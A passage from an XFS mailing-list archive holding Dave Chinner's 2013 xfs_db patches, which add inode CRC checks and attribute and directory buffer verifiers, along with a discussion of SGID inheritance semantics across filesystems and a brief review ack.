set_cur( iocur_top->dirino = dirino; iocur_top->mode = mode; iocur_top->ino_buf = 0; + iocur_top->dquot_buf = 0; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index 1f8270d..4f24c83 100644 --- a/db/io.h +++ b/db/io.h @@ -40,6 +40,7 @@ typedef struct iocur { struct xfs_buf *bp; /* underlying buffer */ int ino_crc_ok:1; int ino_buf:1; + int dquot_buf:1; } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 86FCE7F5E for ; Thu, 5 Sep 2013 07:13:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1280DAC005 for ; Thu, 5 Sep 2013 05:13:47 -0700 (PDT) X-ASG-Debug-ID: 1378383222-04cbb02c3bd64160003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GxEQdRH2b3ZDFec6 for ; Thu, 05 Sep 2013 05:13:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVjhWFbwOpW4MyKoEs Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GX-Pl for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004Ew-Od for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 11/12] db: add a special attribute buffer verifier Date: Thu, 5 Sep 2013 22:13:32 +1000 X-ASG-Orig-Subj: [RFC PATCH 11/12] db: add a special attribute buffer verifier Message-Id: <1378383213-16155-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383225 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Because we only have a single attribute type that is used for all the attribute buffer types, we need to provide a special verifier for the read code. That verifier needs to know all the attribute types and when it find one it knows about, switch to the correct verifier and call it. Signed-off-by: Dave Chinner --- db/attr.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++ db/attr.h | 2 ++ db/type.c | 3 ++- 3 files changed, 55 insertions(+), 1 deletion(-) diff --git a/db/attr.c b/db/attr.c index cd95a0a..359af7b 100644 --- a/db/attr.c +++ b/db/attr.c @@ -25,6 +25,7 @@ #include "attr.h" #include "io.h" #include "init.h" +#include "output.h" static int attr_leaf_entries_count(void *obj, int startoff); static int attr_leaf_hdr_count(void *obj, int startoff); @@ -522,3 +523,53 @@ const field_t attr3_leaf_hdr_flds[] = { { NULL } }; +/* + * Special read verifier for attribute buffers. detect the magic number + * appropriately and set the correct verifier and call it. + */ +static void +xfs_attr3_db_read_verify( + struct xfs_buf *bp) +{ + __be32 magic32; + __be16 magic16; + + magic32 = *(__be32 *)bp->b_addr; + magic16 = ((struct xfs_da_blkinfo *)bp->b_addr)->magic; + + switch (magic16) { + case cpu_to_be16(XFS_ATTR3_LEAF_MAGIC): + bp->b_ops = &xfs_attr3_leaf_buf_ops; + goto verify; + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + bp->b_ops = &xfs_da3_node_buf_ops; + goto verify; + default: + break; + } + + switch (magic32) { + case cpu_to_be32(XFS_ATTR3_RMT_MAGIC): + bp->b_ops = &xfs_attr3_rmt_buf_ops; + break; + default: + dbprintf(_("Unknown attribute buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +verify: + bp->b_ops->verify_read(bp); +} + +static void +xfs_attr3_db_write_verify( + struct xfs_buf *bp) +{ + dbprintf(_("Writing unknown attribute buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); +} + +const struct xfs_buf_ops xfs_attr3_db_buf_ops = { + .verify_read = xfs_attr3_db_read_verify, + .verify_write = xfs_attr3_db_write_verify, +}; diff --git a/db/attr.h b/db/attr.h index 3065372..bc3431f 100644 --- a/db/attr.h +++ b/db/attr.h @@ -33,3 +33,5 @@ extern const field_t attr3_node_hdr_flds[]; extern int attr_leaf_name_size(void *obj, int startoff, int idx); extern int attr_size(void *obj, int startoff, int idx); + +extern const struct xfs_buf_ops xfs_attr3_db_buf_ops; diff --git a/db/type.c b/db/type.c index 2c3431e..04d0d56 100644 --- a/db/type.c +++ b/db/type.c @@ -77,7 +77,8 @@ static const typ_t __typtab_crc[] = { { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, - { TYP_ATTR, "attr3", handle_struct, attr3_hfld, NULL }, + { TYP_ATTR, "attr3", handle_struct, attr3_hfld, + &xfs_attr3_db_buf_ops }, { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, &xfs_bmbt_buf_ops }, { TYP_BMAPBTD, "bmapbtd", handle_struct, bmapbtd_crc_hfld, -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C896E7F67 for ; Thu, 5 Sep 2013 07:13:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B6FF2304053 for ; Thu, 5 Sep 2013 05:13:48 -0700 (PDT) X-ASG-Debug-ID: 1378383220-04cbb02c3ed64160005-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ql7Q1CfFQxxGFrIO for ; Thu, 05 Sep 2013 05:13:47 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVlAQDqVuDMiqBLiQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:42 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GS-Nk for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004Eh-Md for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 08/12] db: verify and calculate inode CRCs Date: Thu, 5 Sep 2013 22:13:29 +1000 X-ASG-Orig-Subj: [RFC PATCH 08/12] db: verify and calculate inode CRCs Message-Id: <1378383213-16155-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383226 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we set the current Io cursor to point at an inode, verify that the inode CRC is intact. And prior to writing such an IO cursor, calculate the inode CRC. Signed-off-by: Dave Chinner --- db/inode.c | 2 ++ db/io.c | 4 ++++ db/io.h | 6 +++++- include/libxfs.h | 4 ++++ libxfs/xfs_inode_buf.c | 8 ++++---- 5 files changed, 19 insertions(+), 5 deletions(-) diff --git a/db/inode.c b/db/inode.c index ec533ee..4090855 100644 --- a/db/inode.c +++ b/db/inode.c @@ -655,6 +655,8 @@ set_cur_inode( blkbb, DB_RING_IGN, NULL); off_cur(offset << mp->m_sb.sb_inodelog, mp->m_sb.sb_inodesize); dip = iocur_top->data; + iocur_top->ino_crc_ok = libxfs_dinode_verify(mp, ino, dip); + iocur_top->ino_buf = 1; iocur_top->ino = ino; iocur_top->mode = be16_to_cpu(dip->di_mode); if ((iocur_top->mode & S_IFMT) == S_IFDIR) diff --git a/db/io.c b/db/io.c index d6e1d28..5f2e492 100644 --- a/db/io.c +++ b/db/io.c @@ -462,6 +462,9 @@ write_cur(void) return; } + if (iocur_top->ino_buf) + libxfs_dinode_calc_crc(mp, iocur_top->data); + if (iocur_top->bbmap) write_cur_bbs(); else @@ -528,6 +531,7 @@ set_cur( iocur_top->ino = ino; iocur_top->dirino = dirino; iocur_top->mode = mode; + iocur_top->ino_buf = 0; /* store location in ring */ if (ring_flag) diff --git a/db/io.h b/db/io.h index d647284..1f8270d 100644 --- a/db/io.h +++ b/db/io.h @@ -38,6 +38,8 @@ typedef struct iocur { const struct typ *typ; /* type of "data" */ bbmap_t *bbmap; /* map daddr if fragmented */ struct xfs_buf *bp; /* underlying buffer */ + int ino_crc_ok:1; + int ino_buf:1; } iocur_t; #define DB_RING_ADD 1 /* add to ring on set_cur */ @@ -62,5 +64,7 @@ extern void ring_add(void); static inline bool iocur_crc_valid() { - return (iocur_top->bp && iocur_top->bp->b_error != EFSCORRUPTED); + return (iocur_top->bp && + iocur_top->bp->b_error != EFSCORRUPTED && + (!iocur_top->ino_buf || iocur_top->ino_crc_ok)); } diff --git a/include/libxfs.h b/include/libxfs.h index 9429f61..90f9a75 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -754,6 +754,10 @@ void xfs_dinode_from_disk(struct xfs_icdinode *, #define libxfs_idata_realloc xfs_idata_realloc #define libxfs_idestroy_fork xfs_idestroy_fork +#define libxfs_dinode_verify xfs_dinode_verify +bool xfs_dinode_verify(struct xfs_mount *mp, xfs_ino_t ino, + struct xfs_dinode *dip); + /* xfs_sb.h */ #define libxfs_mod_sb xfs_mod_sb #define libxfs_sb_from_disk xfs_sb_from_disk diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c index 6205318..54ad320 100644 --- a/libxfs/xfs_inode_buf.c +++ b/libxfs/xfs_inode_buf.c @@ -246,10 +246,10 @@ xfs_dinode_to_disk( } } -static bool +bool xfs_dinode_verify( struct xfs_mount *mp, - struct xfs_inode *ip, + xfs_ino_t ino, struct xfs_dinode *dip) { if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) @@ -264,7 +264,7 @@ xfs_dinode_verify( if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, offsetof(struct xfs_dinode, di_crc))) return false; - if (be64_to_cpu(dip->di_ino) != ip->i_ino) + if (be64_to_cpu(dip->di_ino) != ino) return false; if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) return false; @@ -315,7 +315,7 @@ xfs_iread( return error; /* even unallocated inodes are verified */ - if (!xfs_dinode_verify(mp, ip, dip)) { + if (!xfs_dinode_verify(mp, ip->i_ino, dip)) { xfs_alert(mp, "%s: validation failed for inode %lld failed", __func__, ip->i_ino); -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CA97D7F6C for ; Thu, 5 Sep 2013 07:13:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 48DDAAC005 for ; Thu, 5 Sep 2013 05:13:49 -0700 (PDT) X-ASG-Debug-ID: 1378383221-04cbb02c3cd64160005-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id vGyDWGxUUeTmKG1h for ; Thu, 05 Sep 2013 05:13:47 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVjhWFbwOpW4MyKoEs Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:41 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GW-P7 for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004Er-Nn for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 10/12] db: add a special directory buffer verifier Date: Thu, 5 Sep 2013 22:13:31 +1000 X-ASG-Orig-Subj: [RFC PATCH 10/12] db: add a special directory buffer verifier Message-Id: <1378383213-16155-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383227 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Because we only have a single directory type that is used for all the different buffer types, we need to provide a special verifier for the read code. That verifier needs to know all the directory types and when it find one it knows about, switch to the correct verifier and call it. We already do this for certain readahead cases in the directory code, so there is precedence for this. If we don't find a magic number we recognise, the verifier fails... Signed-off-by: Dave Chinner --- db/dir2.c | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ db/dir2.h | 2 ++ db/type.c | 3 ++- 3 files changed, 65 insertions(+), 1 deletion(-) diff --git a/db/dir2.c b/db/dir2.c index 2ec64e0..5a10955 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -24,6 +24,7 @@ #include "field.h" #include "dir2.h" #include "init.h" +#include "output.h" static int dir2_block_hdr_count(void *obj, int startoff); static int dir2_block_leaf_count(void *obj, int startoff); @@ -975,3 +976,63 @@ const field_t da3_node_hdr_flds[] = { { "pad", FLDT_UINT32D, OI(H3OFF(__pad32)), C1, 0, TYP_NONE }, { NULL } }; + +/* + * Special read verifier for directory buffers. detect the magic number + * appropriately and set the correct verifier and call it. + */ +static void +xfs_dir3_db_read_verify( + struct xfs_buf *bp) +{ + __be32 magic32; + __be16 magic16; + + magic32 = *(__be32 *)bp->b_addr; + magic16 = ((struct xfs_da_blkinfo *)bp->b_addr)->magic; + + switch (magic32) { + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): + bp->b_ops = &xfs_dir3_block_buf_ops; + goto verify; + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): + bp->b_ops = &xfs_dir3_data_buf_ops; + goto verify; + case cpu_to_be32(XFS_DIR3_FREE_MAGIC): + bp->b_ops = &xfs_dir3_free_buf_ops; + goto verify; + default: + break; + } + + switch (magic16) { + case cpu_to_be16(XFS_DIR3_LEAF1_MAGIC): + bp->b_ops = &xfs_dir3_leaf1_buf_ops; + break; + case cpu_to_be16(XFS_DIR3_LEAFN_MAGIC): + bp->b_ops = &xfs_dir3_leafn_buf_ops; + break; + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + bp->b_ops = &xfs_da3_node_buf_ops; + break; + default: + dbprintf(_("Unknown directory buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +verify: + bp->b_ops->verify_read(bp); +} + +static void +xfs_dir3_db_write_verify( + struct xfs_buf *bp) +{ + dbprintf(_("Writing unknown directory buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); +} + +const struct xfs_buf_ops xfs_dir3_db_buf_ops = { + .verify_read = xfs_dir3_db_read_verify, + .verify_write = xfs_dir3_db_write_verify, +}; diff --git a/db/dir2.h b/db/dir2.h index b3651d5..5054493 100644 --- a/db/dir2.h +++ b/db/dir2.h @@ -60,3 +60,5 @@ static inline xfs_dir2_inou_t *xfs_dir2_sf_inumberp(xfs_dir2_sf_entry_t *sfep) extern int dir2_data_union_size(void *obj, int startoff, int idx); extern int dir2_size(void *obj, int startoff, int idx); + +extern const struct xfs_buf_ops xfs_dir3_db_buf_ops; diff --git a/db/type.c b/db/type.c index b3f3d87..2c3431e 100644 --- a/db/type.c +++ b/db/type.c @@ -87,7 +87,8 @@ static const typ_t __typtab_crc[] = { { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld, &xfs_allocbt_buf_ops }, { TYP_DATA, "data", handle_block, NULL, NULL }, - { TYP_DIR2, "dir3", handle_struct, dir3_hfld, NULL }, + { TYP_DIR2, "dir3", handle_struct, dir3_hfld, + &xfs_dir3_db_buf_ops }, { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, &xfs_dquot_buf_ops }, { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld, -- 1.8.3.2 From sandeen@sandeen.net Thu Sep 5 09:30:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B46147F52 for ; Thu, 5 Sep 2013 09:30:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 32940AC006 for ; Thu, 5 Sep 2013 07:30:04 -0700 (PDT) X-ASG-Debug-ID: 1378391402-04cb6c2e9cd760c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id xBgclayxjxHaWZZN for ; Thu, 05 Sep 2013 07:30:02 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0FD1B68D3A1B; Thu, 5 Sep 2013 09:30:01 -0500 (CDT) Message-ID: <52289569.1070107@sandeen.net> Date: Thu, 05 Sep 2013 09:30:01 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Vasily Isaenko CC: xfs@oss.sgi.com Subject: Re: SGID inheritance in different file-systems References: <52208DC0.2030805@oracle.com> X-ASG-Orig-Subj: Re: SGID inheritance in different file-systems In-Reply-To: <52208DC0.2030805@oracle.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378391402 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140364 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 8/30/13 7:19 AM, Vasily Isaenko wrote: > Dear XFS Members, > > In the XFS test suite there is a test case generic/314 "Test SGID inheritance on subdirectories". > It is not specific to a particular filesystem thus selected for both xfs or ext4 test runs. > In other words, the same behaviour is expected and enforced for XFS and EXT4. Yep, and it passes on both of them, as well as on ext3, ext2, btrfs, and gfs2... > However, I have been told that EXT4 and XFS may have different behaviour as the > setgid-directory behavior is not guaranteed to work the same way on all filesystems. "I have been told" ... I'm guessing that you have tested a filesystem which doesn't behave this way? Which one? > Shall XFS test case reflect that difference or enforcing the same behaviour is appropriate? If you have information that a filesystem exists which does not inherit SGID, and that this behavior is intentional and correct and standards-compliant, then feel free to submit a patch. However, I think you'll need to have a convincing argument against the man pages. chmod(2) says: S_ISGID (02000) set-group-ID (set process effective group ID on execve(2); mandatory locking, as described in fcntl(2); take a new file’s group from parent directory, as described in chown(2) and mkdir(2)) mkdir(2) says: The newly created directory will be owned by the effective user ID of the process. If the directory containing the file has the set-group-ID bit set, or if the file system is mounted with BSD group semantics (mount -o bsdgroups or, synonymously mount -o grpid), the new directory will inherit the group ownership from its parent; otherwise it will be owned by the effective group ID of the process. and chown(2) says: NOTES When a new file is created (by, for example, open(2) or mkdir(2)), its owner is made the same as the file system user ID of the creating process. The group of the file depends on a range of factors, including the type of file system, the options used to mount the file system, and whether or not the set-group-ID permission bit is enabled on the parent directory. If the file system supports the -o grpid (or, synonymously -o bsdgroups) and -o nogrpid (or, synonymously -o sysvgroups) mount(8) options, then the rules are as follows: * If the file system is mounted with -o grpid, then the group of a new file is made the same as that of the parent directory. * If the file system is mounted with -o nogrpid and the set-group-ID bit is disabled on the parent directory, then the group of a new file is made the same as the process’s file system GID. * If the file system is mounted with -o nogrpid and the set-group-ID bit is enabled on the parent directory, then the group of a new file is made the same as that of the parent directory. Thanks, Eric > Best regards, > Vasily > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From tinguely@sgi.com Thu Sep 5 09:35:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 65F8D7F53 for ; Thu, 5 Sep 2013 09:35:21 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 35654304066; Thu, 5 Sep 2013 07:35:18 -0700 (PDT) Message-ID: <522896A5.60102@sgi.com> Date: Thu, 05 Sep 2013 09:35:17 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 01/55] xfsprogs: introduce xfs_icreate.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-2-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Bring the new inode create item definitions across from kernel space > for xfs_logprint to be able to parse. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely. From vasily.isaenko@oracle.com Thu Sep 5 09:35:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 57F7E29DFC for ; Thu, 5 Sep 2013 09:35:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 33DF4304066 for ; Thu, 5 Sep 2013 07:35:46 -0700 (PDT) X-ASG-Debug-ID: 1378391744-04cbb02c3bd69a40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id Y9votJiNt02THLO7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Sep 2013 07:35:44 -0700 (PDT) X-Barracuda-Envelope-From: vasily.isaenko@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r85EZhqR004660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 5 Sep 2013 14:35:43 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r85EZgSB027308 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 5 Sep 2013 14:35:43 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r85EZgrK017908; Thu, 5 Sep 2013 14:35:42 GMT Received: from [10.162.81.60] (/10.162.81.60) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 05 Sep 2013 07:35:41 -0700 Message-ID: <5228963B.9010404@oracle.com> Date: Thu, 05 Sep 2013 18:33:31 +0400 From: Vasily Isaenko User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com Subject: Re: SGID inheritance in different file-systems References: <52208DC0.2030805@oracle.com> <52289569.1070107@sandeen.net> X-ASG-Orig-Subj: Re: SGID inheritance in different file-systems In-Reply-To: <52289569.1070107@sandeen.net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1378391744 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, 